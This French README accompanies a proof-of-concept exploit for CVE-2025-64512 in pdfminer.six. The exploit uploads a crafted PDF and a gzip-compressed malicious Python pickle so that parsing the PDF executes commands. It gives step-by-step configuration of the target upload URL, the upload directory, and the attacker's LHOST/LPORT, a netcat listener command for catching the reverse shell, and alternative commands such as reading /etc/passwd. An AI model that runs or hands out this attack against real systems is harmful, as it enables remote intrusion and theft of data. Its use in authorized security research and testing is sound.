
Exploit pour CVE-2025-64512 permettant d'obtenir un reverse shell.
Cette preuve de concept démontre une vulnérabilité dans pdfminer.six (CVE-2025-64512) pouvant conduire à l'exécution arbitraire de commandes lorsqu'un PDF malveillant est traité. L'exploit utilise un PDF spécialement conçu qui référence un pickle Python malveillant compressé en gzip. Lorsque l'application vulnérable analyse le PDF, elle charge le pickle et exécute la charge utile intégrée.
Le PoC inclus est configuré pour exécuter un reverse shell Python, mais la charge utile peut être remplacée par n'importe quelle commande.
requestsInstallez la dépendance requise :
pip install requests
Avant d'exécuter l'exploit, modifiez la section de configuration de exploit.py :
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
L'URL du point de terminaison de téléversement vulnérable.
Exemple :
BASE_URL = "http://target/upload.php"
L'exploit téléverse à la fois le PDF malveillant et le pickle compressé sur ce point de terminaison.
Le répertoire absolu sur la cible où les fichiers téléversés sont stockés.
Exemple :
UPLOAD_DIR = "/var/www/html/uploads"
Ce chemin est intégré dans le PDF généré et doit correspondre à l'emplacement à partir duquel l'application vulnérable lira plus tard le pickle téléversé.
Si le répertoire de téléversement est inconnu, déterminez-le lors de l'énumération. Selon l'application, les techniques utiles incluent :
Les emplacements typiques incluent :
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
Le répertoire correct dépend entièrement de l'application cible.
L'adresse IP de votre listener.
Exemple :
LHOST = "10.10.14.5"
Le port d'écoute pour le reverse shell.
Exemple :
LPORT = 4444
Démarrez un listener avant d'exécuter l'exploit :
nc -lvnp 4444
Exécutez l'exploit :
python3 exploit.py
Le script va :
evil.pickle.gz.Au lieu d'un reverse shell, n'importe quelle commande du système d'exploitation peut être exécutée en modifiant la commande passée à :
create_pickle_with_cmd(command)
Les exemples incluent :
id
whoami
uname -a
cat /etc/passwd
Cette preuve de concept est fournie uniquement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés. Utilisez-la uniquement contre des systèmes pour lesquels vous avez l'autorisation explicite d'effectuer des tests de sécurité.